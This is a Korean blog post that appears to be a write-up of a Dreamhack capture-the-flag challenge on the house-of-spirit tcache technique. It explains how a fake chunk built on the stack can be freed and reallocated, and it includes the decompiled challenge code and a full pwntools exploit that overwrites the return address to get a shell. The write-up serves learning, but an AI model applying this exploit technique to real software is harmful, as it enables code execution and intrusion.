[ Dreamhack ] house_of_spirit

2023. 5. 28. 21:37dreamhack/pwn

반응형

house of spirit은 free함수를 통해 자신이 원하는 임의의 메모리를 해제할 수 있을 때 

사용할 수 있는 공격 기법이다.

 

tcache는 속도 등 여러가지 이유로 보안 검사들이 많이 생략되어 있다.

그래서 stack에 실제 tcache 청크와 같은 구조를 가지는 청크를 구성하고

해당 영역을 free하면 stack 영역을 해제하여 tcache에 stack 영역을 넣을 수 있다.

그리고 ptmalloc은 비슷한 크기의 요청이 오면 재사용 한다는 특징이 있다.

이를 통해 stack 주소로 동적 할당을 받을 수 있다.

만약 해당 프로그램에서 동적 할당을 받은 뒤 그 할당받은 주소에 입력을 줄 수 있다면

bof가 발생할 수도 있고 그 프로그램의 지역변수 등을 바꿀 수 있다.

 

스택 영역이 tcache에 들어감

위 코드와 같이 data의 주소는 0x7ffee673a365로 스택 영역의 주소임에도 불구하고

free가 정상적으로 되어 tcache에 들어갔다. 그 이유는 청크의 구조와 똑같이 메모리에 구성을

해주고 free를 했기 때문에 청크로 인식을 한 것이다.

그리고 fake chunk의 size를 헤더 포함 0x30 크기로 해주었기 때문에

malloc 할 때 헤더를 제외한 크기인 0x20 크기의 힙을 할당 요청하면 ptmalloc은 비슷한 사이즈의

청크가 있다면 재사용 한다는 특징 이전에 tcache에 들어있던 스택 주소가 할당된다.

 


 

문제 풀이

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *ptr; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+8h] [rbp-38h] BYREF
  int menu; // [rsp+Ch] [rbp-34h] BYREF
  char name[44]; // [rsp+10h] [rbp-30h] BYREF
  int v8; // [rsp+3Ch] [rbp-4h]

  v5 = 0;
  ptr = 0LL;
  initialize(argc, argv, envp);
  memset(name, 0, 0x20uLL);
  printf("name: ");
  read(0, name, 31uLL);

  printf("%p: %s\n", name, name);               // stack address

  while ( 1 )
  {
    while ( 1 )
    {
      puts("1. create");
      puts("2. delete");
      puts("3. exit");
      printf("> ");
      __isoc99_scanf("%d", &menu);
      if ( menu != 2 )
        break;
      printf("Addr: ");
      __isoc99_scanf("%ld", &ptr);
      free(ptr);
    }
    if ( menu == 3 )
      break;
    if ( menu == 1 )
    {
      if ( v8 > 10 )
        return -1;
      printf("Size: ");
      __isoc99_scanf("%d", &v5);
      *(&::ptr + v8) = malloc(v5);
      if ( !*(&::ptr + v8) )
        return -1;
      printf("Data: ");
      read(0, *(&::ptr + v8++), v5);
    }
  }
  return 0;
}

 

공격 시나리오

코드를 보면 name의 주소를 출력해 주기 때문에 스택의 주소를 알아낼 수 있다.

그리고 자신이 원하는 값을 free 할 수 있기 때문에 house of spirit 기법을 사용할 수 있다.

 

name을 입력할 때 fake chunk의 구조로 입력을 해주고

name의 주소를 받아와 fake chunk의 data 부분의 주소를 구한다.

그리고 2번 메뉴를 통해 해당 data 부분을 free 해주어 그 주소가 tcache에 들어가도록 한다.

그리고 1번 메뉴로 해당 fake 청크와 같은 크기의 힙 할당을 요청하여 fake chunk 주소를 할당받도록 한다.

그다음 data에 read를 하는데 그때 ret을 get_shell 함수로 바꾸면 된다.

 

exploit

from pwn import *

context.log_level = "debug"

r = process("./house_of_spirit")

def create(size, data):
    r.sendlineafter(b"> ", b'1')
    r.sendlineafter(b"Size: ", str(size).encode())
    r.sendafter(b"Data: ", data)

def delete(free_address):
    r.sendlineafter(b"> ", b'2')
    r.sendlineafter(b": ", str(free_address).encode())

def exit_func():
    r.sendlineafter(b"> ", b'3')

input()

r.sendafter(b": ", p64(0) + p64(0x101))

name = int(r.recvuntil(b":")[:-1], 16)
fake_chunk_addr = name + 0x10
print("name:", hex(name))

delete(fake_chunk_addr)

payload = b'a' * 0x28 + p64(0x400940)

create(0xf0, payload)

exit_func()

r.interactive()

익스 코드를 실행시키고 gdb를 통해 free가 된 직후를 살표보면 0x7.....로 스택 영역이 free된 것을 확인 할 수 있을 것이다.

 

그리고 malloc 직후 다시 tcache를 보면 비어있다. 즉 free되어 있는 스택 주소가 할당된 것이다.

 

이걸로 ret overwrite만 해주면 쉘을 획득할 수 있다.

 

 

반응형

'dreamhack > pwn' 카테고리의 다른 글

[ Dreamhack ] __environ  (0) 2023.06.09
[ Dreamhack ] environ  (0) 2023.06.09
ptmalloc2  (2) 2023.05.26
[ Dreamhack ] Kind kid list  (2) 2023.05.23
[ Dreamhack ] STACK_AEG  (2) 2023.05.04